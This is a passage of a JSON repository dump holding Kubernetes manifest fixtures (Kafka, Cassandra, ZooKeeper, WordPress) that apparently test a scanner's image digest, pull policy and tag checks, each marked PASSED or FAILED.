fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n          env:\n            - name: KAFKA_HEAP_OPTS\n              value : \"-Xmx2G -Xms2G\"\n            - name: KAFKA_OPTS\n              value: \"-Dlogging.level=INFO\"\n          volumeMounts:\n            - name: datadir\n              mountPath: /var/lib/kafka\n          readinessProbe:\n            exec:\n              command:\n                - sh\n                - -c\n                - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n    - metadata:\n        name: datadir\n      spec:\n        accessModes: [ \"ReadWriteOnce\" ]\n        resources:\n          requests:\n            storage: 10Gi"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageDigest/storm-zookeeper-FAILED.json",
    "content": "{\n  \"kind\": \"Pod\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n    \"name\": \"zookeeper\",\n    \"labels\": {\n      \"name\": \"zookeeper\"\n    }\n  },\n  \"spec\": {\n    \"containers\": [\n      {\n        \"name\": \"zookeeper\",\n        \"image\": \"mattf/zookeeper\",\n        \"ports\": [\n          {\n            \"containerPort\": 2181\n          }\n        ],\n        \"resources\": {\n          \"limits\": {\n            \"cpu\": \"100m\"\n          }\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/cassandra-PullPolicyAlways-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/\n# https://github.com/kubernetes/examples/tree/master/cassandra\n\napiVersion: v1\nkind: Service\nmetadata:\n  labels:\n    app: cassandra\n  name: cassandra\nspec:\n  clusterIP: None\n  ports:\n  - port: 9042\n  selector:\n    app: cassandra\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        ports:\n        - containerPort: 7000\n          name: intra-node\n        - containerPort: 7001\n          name: tls-intra-node\n        - containerPort: 7199\n          name: jmx\n        - containerPort: 9042\n          name: cql\n        resources:\n          limits:\n            cpu: \"500m\"\n            memory: 1Gi\n          requests:\n            cpu: \"500m\"\n            memory: 1Gi\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n        lifecycle:\n          preStop:\n            exec:\n              command: \n              - /bin/sh\n              - -c\n              - nodetool drain\n        env:\n          - name: MAX_HEAP_SIZE\n            value: 512M\n          - name: HEAP_NEWSIZE\n            value: 100M\n          - name: CASSANDRA_SEEDS\n            value: \"cassandra-0.cassandra.default.svc.cluster.local\"\n          - name: CASSANDRA_CLUSTER_NAME\n            value: \"K8Demo\"\n          - name: CASSANDRA_DC\n            value: \"DC1-K8Demo\"\n          - name: CASSANDRA_RACK\n            value: \"Rack1-K8Demo\"\n          - name: POD_IP\n            valueFrom:\n              fieldRef:\n                fieldPath: status.podIP\n        readinessProbe:\n          exec:\n            command:\n            - /bin/bash\n            - -c\n            - /ready-probe.sh\n          initialDelaySeconds: 15\n          timeoutSeconds: 5\n        # These volume mounts are persistent. They are like inline claims,\n        # but not exactly because the names need to match exactly one of\n        # the stateful pod volumes.\n        volumeMounts:\n        - name: cassandra-data\n          mountPath: /cassandra_data\n  # These are converted to volume claims by the controller\n  # and mounted at the paths mentioned above.\n  # do not use these in production until ssd GCEPersistentDisk or other ssd pd\n  volumeClaimTemplates:\n  - metadata:\n      name: cassandra-data\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: fast\n      resources:\n        requests:\n          storage: 1Gi\n---\nkind: StorageClass\napiVersion: storage.k8s.io/v1\nmetadata:\n  name: fast\nprovisioner: k8s.io/minikube-hostpath\nparameters:\n  type: pd-ssd\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/imageWithDigest-DefaultPullPolicy-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/\n# https://github.com/kubernetes/examples/tree/master/cassandra\n\napiVersion: v1\nkind: Service\nmetadata:\n  labels:\n    app: cassandra\n  name: cassandra\nspec:\n  clusterIP: None\n  ports:\n  - port: 9042\n  selector:\n    app: cassandra\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra@sha256:12345678\n        ports:\n        - containerPort: 7000\n          name: intra-node\n        - containerPort: 7001\n          name: tls-intra-node\n        - containerPort: 7199\n          name: jmx\n        - containerPort: 9042\n          name: cql\n        resources:\n          limits:\n            cpu: \"500m\"\n            memory: 1Gi\n          requests:\n            cpu: \"500m\"\n            memory: 1Gi\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n        lifecycle:\n          preStop:\n            exec:\n              command: \n              - /bin/sh\n              - -c\n              - nodetool drain\n        env:\n          - name: MAX_HEAP_SIZE\n            value: 512M\n          - name: HEAP_NEWSIZE\n            value: 100M\n          - name: CASSANDRA_SEEDS\n            value: \"cassandra-0.cassandra.default.svc.cluster.local\"\n          - name: CASSANDRA_CLUSTER_NAME\n            value: \"K8Demo\"\n          - name: CASSANDRA_DC\n            value: \"DC1-K8Demo\"\n          - name: CASSANDRA_RACK\n            value: \"Rack1-K8Demo\"\n          - name: POD_IP\n            valueFrom:\n              fieldRef:\n                fieldPath: status.podIP\n        readinessProbe:\n          exec:\n            command:\n            - /bin/bash\n            - -c\n            - /ready-probe.sh\n          initialDelaySeconds: 15\n          timeoutSeconds: 5\n        # These volume mounts are persistent. They are like inline claims,\n        # but not exactly because the names need to match exactly one of\n        # the stateful pod volumes.\n        volumeMounts:\n        - name: cassandra-data\n          mountPath: /cassandra_data\n  # These are converted to volume claims by the controller\n  # and mounted at the paths mentioned above.\n  # do not use these in production until ssd GCEPersistentDisk or other ssd pd\n  volumeClaimTemplates:\n  - metadata:\n      name: cassandra-data\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: fast\n      resources:\n        requests:\n          storage: 1Gi\n---\nkind: StorageClass\napiVersion: storage.k8s.io/v1\nmetadata:\n  name: fast\nprovisioner: k8s.io/minikube-hostpath\nparameters:\n  type: pd-ssd\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/imageWithDigest-PullPolicyAlways-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/\n# https://github.com/kubernetes/examples/tree/master/cassandra\n\napiVersion: v1\nkind: Service\nmetadata:\n  labels:\n    app: cassandra\n  name: cassandra\nspec:\n  clusterIP: None\n  ports:\n  - port: 9042\n  selector:\n    app: cassandra\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra@sha256:123456\n        imagePullPolicy: Always\n        ports:\n        - containerPort: 7000\n          name: intra-node\n        - containerPort: 7001\n          name: tls-intra-node\n        - containerPort: 7199\n          name: jmx\n        - containerPort: 9042\n          name: cql\n        resources:\n          limits:\n            cpu: \"500m\"\n            memory: 1Gi\n          requests:\n            cpu: \"500m\"\n            memory: 1Gi\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n        lifecycle:\n          preStop:\n            exec:\n              command: \n              - /bin/sh\n              - -c\n              - nodetool drain\n        env:\n          - name: MAX_HEAP_SIZE\n            value: 512M\n          - name: HEAP_NEWSIZE\n            value: 100M\n          - name: CASSANDRA_SEEDS\n            value: \"cassandra-0.cassandra.default.svc.cluster.local\"\n          - name: CASSANDRA_CLUSTER_NAME\n            value: \"K8Demo\"\n          - name: CASSANDRA_DC\n            value: \"DC1-K8Demo\"\n          - name: CASSANDRA_RACK\n            value: \"Rack1-K8Demo\"\n          - name: POD_IP\n            valueFrom:\n              fieldRef:\n                fieldPath: status.podIP\n        readinessProbe:\n          exec:\n            command:\n            - /bin/bash\n            - -c\n            - /ready-probe.sh\n          initialDelaySeconds: 15\n          timeoutSeconds: 5\n        # These volume mounts are persistent. They are like inline claims,\n        # but not exactly because the names need to match exactly one of\n        # the stateful pod volumes.\n        volumeMounts:\n        - name: cassandra-data\n          mountPath: /cassandra_data\n  # These are converted to volume claims by the controller\n  # and mounted at the paths mentioned above.\n  # do not use these in production until ssd GCEPersistentDisk or other ssd pd\n  volumeClaimTemplates:\n  - metadata:\n      name: cassandra-data\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: fast\n      resources:\n        requests:\n          storage: 1Gi\n---\nkind: StorageClass\napiVersion: storage.k8s.io/v1\nmetadata:\n  name: fast\nprovisioner: k8s.io/minikube-hostpath\nparameters:\n  type: pd-ssd\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/job-ImageTagLatest-PASSED.yaml",
    "content": "apiVersion: batch/v1\nkind: Job\nmetadata:\n  name: countdown\nspec:\n  template:\n    metadata:\n      name: countdown\n    spec:\n      containers:\n      - name: counter\n        image: centos:latest\n        command:\n         - \"bin/bash\"\n         - \"-c\"\n         - \"for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done\"\n      restartPolicy: Never\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/kafka-PullPolicyAlways-PASSED.yaml",
    "content": "apiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n    type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values:\n                      - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n            - weight: 1\n              podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: \"app\"\n                      operator: In\n                      values:\n                        - zk\n                topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n        - name: k8skafka\n          imagePullPolicy: Always\n          image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release:1.0.9\n          resources:\n            requests:\n              memory: \"12Gi\"\n              cpu: 4\n          ports:\n            - containerPort: 9093\n              name: server\n          command:\n            - sh\n            - -c\n            - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n          env:\n            - name: KAFKA_HEAP_OPTS\n              value : \"-Xmx2G -Xms2G\"\n            - name: KAFKA_OPTS\n              value: \"-Dlogging.level=INFO\"\n          volumeMounts:\n            - name: datadir\n              mountPath: /var/lib/kafka\n          readinessProbe:\n            exec:\n              command:\n                - sh\n                - -c\n                - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n    - metadata:\n        name: datadir\n      spec:\n        accessModes: [ \"ReadWriteOnce\" ]\n        resources:\n          requests:\n            storage: 10Gi"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/replctrl-PullIfNotPresent-FAILED.yaml",
    "content": "apiVersion: v1\nkind: ReplicationController\nmetadata:\n  name: myapp\n  labels:\n    app: myapp\nspec:\n  replicas: 2\n  selector:\n    app: myapp\n    deployment: initial\n  template:\n    metadata:\n      labels:\n        app: myapp\n        deployment: initial\n    spec:\n      containers:\n      - name: myapp\n        image: myregistry.com/myapp:5c3dda6b\n        ports:\n        - containerPort: 80\n        imagePullPolicy: IfNotPresent\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/storm-nimbus-ImageUntagged-PASSED.json",
    "content": "{\n  \"kind\": \"Pod\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n    \"name\": \"nimbus\",\n    \"labels\": {\n      \"name\": \"nimbus\"\n    }\n  },\n  \"spec\": {\n    \"containers\": [\n      {\n        \"name\": \"nimbus\",\n        \"image\": \"mattf/storm-nimbus\",\n        \"ports\": [\n          {\n            \"containerPort\": 6627\n          }\n        ],\n        \"resources\": {\n          \"limits\": {\n            \"cpu\": \"100m\"\n          }\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImagePullPolicy/wordpress-ImageTagged-DefaultPullPolicy-FAILED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/\napiVersion: v1\nkind: Service\nmetadata:\n  name: wordpress-mysql\n  labels:\n    app: wordpress\nspec:\n  ports:\n    - port: 3306\n  selector:\n    app: wordpress\n    tier: mysql\n  clusterIP: None\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: mysql-pv-claim\n  labels:\n    app: wordpress\nspec:\n  accessModes:\n    - ReadWriteOnce\n  resources:\n    requests:\n      storage: 20Gi\n---\napiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2\nkind: Deployment\nmetadata:\n  name: wordpress-mysql\n  labels:\n    app: wordpress\nspec:\n  selector:\n    matchLabels:\n      app: wordpress\n      tier: mysql\n  strategy:\n    type: Recreate\n  template:\n    metadata:\n      labels:\n        app: wordpress\n        tier: mysql\n    spec:\n      containers:\n      - image: mysql:5.6\n        name: mysql\n        env:\n        - name: MYSQL_ROOT_PASSWORD\n          valueFrom:\n            secretKeyRef:\n              name: mysql-pass\n              key: password\n        ports:\n        - containerPort: 3306\n          name: mysql\n        volumeMounts:\n        - name: mysql-persistent-storage\n          mountPath: /var/lib/mysql\n      volumes:\n      - name: mysql-persistent-storage\n        persistentVolumeClaim:\n          claimName: mysql-pv-claim\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: wordpress\n  labels:\n    app: wordpress\nspec:\n  ports:\n    - port: 80\n  selector:\n    app: wordpress\n    tier: frontend\n  type: LoadBalancer\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: wp-pv-claim\n  labels:\n    app: wordpress\nspec:\n  accessModes:\n    - ReadWriteOnce\n  resources:\n    requests:\n      storage: 20Gi\n---\napiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2\nkind: Deployment\nmetadata:\n  name: wordpress\n  labels:\n    app: wordpress\nspec:\n  selector:\n    matchLabels:\n      app: wordpress\n      tier: frontend\n  strategy:\n    type: Recreate\n  template:\n    metadata:\n      labels:\n        app: wordpress\n        tier: frontend\n    spec:\n      containers:\n      - image: wordpress:4.8-apache\n        name: wordpress\n        env:\n        - name: WORDPRESS_DB_HOST\n          value: wordpress-mysql\n        - name: WORDPRESS_DB_PASSWORD\n          valueFrom:\n            secretKeyRef:\n              name: mysql-pass\n              key: password\n        ports:\n        - containerPort: 80\n          name: wordpress\n        volumeMounts:\n        - name: wordpress-persistent-storage\n          mountPath: /var/www/html\n      volumes:\n      - name: wordpress-persistent-storage\n        persistentVolumeClaim:\n          claimName: wp-pv-claim\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/imageWithDigest-PASSED.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: kafka-pdb\nspec:\n  selector:\n    matchLabels:\n      app: kafka\n  maxUnavailable: 1\n---\napiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n      type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values: \n                    - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n             - weight: 1\n               podAffinityTerm:\n                 labelSelector:\n                    matchExpressions:\n                      - key: \"app\"\n                        operator: In\n                        values: \n                        - zk\n                 topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n      - name: k8skafka\n        imagePullPolicy: Always\n        image: gcr.io/google_containers/kubernetes-kafka@sha256:123456\n        resources:\n          requests:\n            memory: \"12Gi\"\n            cpu: 4\n        ports:\n        - containerPort: 9093\n          name: server\n        command:\n        - sh\n        - -c\n        - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override log.segment.delete.delay.ms=60000 \\\n          --override message.max.bytes=1000012 \\\n          --override min.insync.replicas=1 \\\n          --override num.io.threads=8 \\\n          --override num.network.threads=3 \\\n          --override num.recovery.threads.per.data.dir=1 \\\n          --override num.replica.fetchers=1 \\\n          --override offset.metadata.max.bytes=4096 \\\n          --override offsets.commit.required.acks=-1 \\\n          --override offsets.commit.timeout.ms=5000 \\\n          --override offsets.load.buffer.size=5242880 \\\n          --override offsets.retention.check.interval.ms=600000 \\\n          --override offsets.retention.minutes=1440 \\\n          --override offsets.topic.compression.codec=0 \\\n          --override offsets.topic.num.partitions=50 \\\n          --override offsets.topic.replication.factor=3 \\\n          --override offsets.topic.segment.bytes=104857600 \\\n          --override queued.max.requests=500 \\\n          --override quota.consumer.default=9223372036854775807 \\\n          --override quota.producer.default=9223372036854775807 \\\n          --override replica.fetch.min.bytes=1 \\\n          --override replica.fetch.wait.max.ms=500 \\\n          --override replica.high.watermark.checkpoint.interval.ms=5000 \\\n          --override replica.lag.time.max.ms=10000 \\\n          --override replica.socket.receive.buffer.bytes=65536 \\\n          --override replica.socket.timeout.ms=30000 \\\n          --override request.timeout.ms=30000 \\\n          --override socket.receive.buffer.bytes=102400 \\\n          --override socket.request.max.bytes=104857600 \\\n          --override socket.send.buffer.bytes=102400 \\\n          --override unclean.leader.election.enable=true \\\n          --override zookeeper.session.timeout.ms=6000 \\\n          --override zookeeper.set.acl=false \\\n          --override broker.id.generation.enable=true \\\n          --override connections.max.idle.ms=600000 \\\n          --override controlled.shutdown.enable=true \\\n          --override controlled.shutdown.max.retries=3 \\\n          --override controlled.shutdown.retry.backoff.ms=5000 \\\n          --override controller.socket.timeout.ms=30000 \\\n          --override default.replication.factor=1 \\\n          --override fetch.purgatory.purge.interval.requests=1000 \\\n          --override group.max.session.timeout.ms=300000 \\\n          --override group.min.session.timeout.ms=6000 \\\n          --override inter.broker.protocol.version=0.10.2-IV0 \\\n          --override log.cleaner.backoff.ms=15000 \\\n          --override log.cleaner.dedupe.buffer.size=134217728 \\\n          --override log.cleaner.delete.retention.ms=86400000 \\\n          --override log.cleaner.enable=true \\\n          --override log.cleaner.io.buffer.load.factor=0.9 \\\n          --override log.cleaner.io.buffer.size=524288 \\\n          --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \\\n          --override log.cleaner.min.cleanable.ratio=0.5 \\\n          --override log.cleaner.min.compaction.lag.ms=0 \\\n          --override log.cleaner.threads=1 \\\n          --override log.cleanup.policy=delete \\\n          --override log.index.interval.bytes=4096 \\\n          --override log.index.size.max.bytes=10485760 \\\n          --override log.message.timestamp.difference.max.ms=9223372036854775807 \\\n          --override log.message.timestamp.type=CreateTime \\\n          --override log.preallocate=false \\\n          --override log.retention.check.interval.ms=300000 \\\n          --override max.connections.per.ip=2147483647 \\\n          --override num.partitions=1 \\\n          --override producer.purgatory.purge.interval.requests=1000 \\\n          --override replica.fetch.backoff.ms=1000 \\\n          --override replica.fetch.max.bytes=1048576 \\\n          --override replica.fetch.response.max.bytes=10485760 \\\n          --override reserved.broker.max.id=1000 \"\n        env:\n        - name: KAFKA_HEAP_OPTS\n          value : \"-Xmx2G -Xms2G\"\n        - name: KAFKA_OPTS\n          value: \"-Dlogging.level=INFO\"\n        volumeMounts:\n        - name: datadir\n          mountPath: /var/lib/kafka\n        readinessProbe:\n          exec:\n           command: \n            - sh \n            - -c \n            - \"/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093\"\n      securityContext:\n        runAsUser: 1000\n        fsGroup: 1000\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      resources:\n        requests:\n          storage: 10Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ImageTagFixed/imageWithTagAndDigest-PASSED.yaml",
    "content": "---\napiVersion: v1\nkind: Service\nmetadata:\n  name: kafka-hs\n  labels:\n    app: kafka\nspec:\n  ports:\n  - port: 9093\n    name: server\n  clusterIP: None\n  selector:\n    app: kafka\n---\napiVersion: policy/v1beta1\nkind: PodDisruptionBudget\nmetadata:\n  name: kafka-pdb\nspec:\n  selector:\n    matchLabels:\n      app: kafka\n  maxUnavailable: 1\n---\napiVersion: apps/v1beta1\nkind: StatefulSet\nmetadata:\n  name: kafka\nspec:\n  serviceName: kafka-hs\n  replicas: 5\n  podManagementPolicy: Parallel\n  updateStrategy:\n      type: RollingUpdate\n  template:\n    metadata:\n      labels:\n        app: kafka\n    spec:\n      affinity:\n        podAntiAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            - labelSelector:\n                matchExpressions:\n                  - key: \"app\"\n                    operator: In\n                    values: \n                    - kafka\n              topologyKey: \"kubernetes.io/hostname\"\n        podAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n             - weight: 1\n               podAffinityTerm:\n                 labelSelector:\n                    matchExpressions:\n                      - key: \"app\"\n                        operator: In\n                        values: \n                        - zk\n                 topologyKey: \"kubernetes.io/hostname\"\n      terminationGracePeriodSeconds: 300\n      containers:\n      - name: k8skafka\n        imagePullPolicy: Always\n        image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1@sha256:123456\n        resources:\n          requests:\n            memory: \"12Gi\"\n            cpu: 4\n        ports:\n        - containerPort: 9093\n          name: server\n        command:\n        - sh\n        - -c\n        - \"exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \\\n          --override listeners=PLAINTEXT://:9093 \\\n          --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \\\n          --override log.dir=/var/lib/kafka \\\n          --override auto.create.topics.enable=true \\\n          --override auto.leader.rebalance.enable=true \\\n          --override background.threads=10 \\\n          --override compression.type=producer \\\n          --override delete.topic.enable=false \\\n          --override leader.imbalance.check.interval.seconds=300 \\\n          --override leader.imbalance.per.broker.percentage=10 \\\n          --override log.flush.interval.messages=9223372036854775807 \\\n          --override log.flush.offset.checkpoint.interval.ms=60000 \\\n          --override log.flush.scheduler.interval.ms=9223372036854775807 \\\n          --override log.retention.bytes=-1 \\\n          --override log.retention.hours=168 \\\n          --override log.roll.hours=168 \\\n          --override log.roll.jitter.hours=0 \\\n          --override log.segment.bytes=1073741824 \\\n          --override 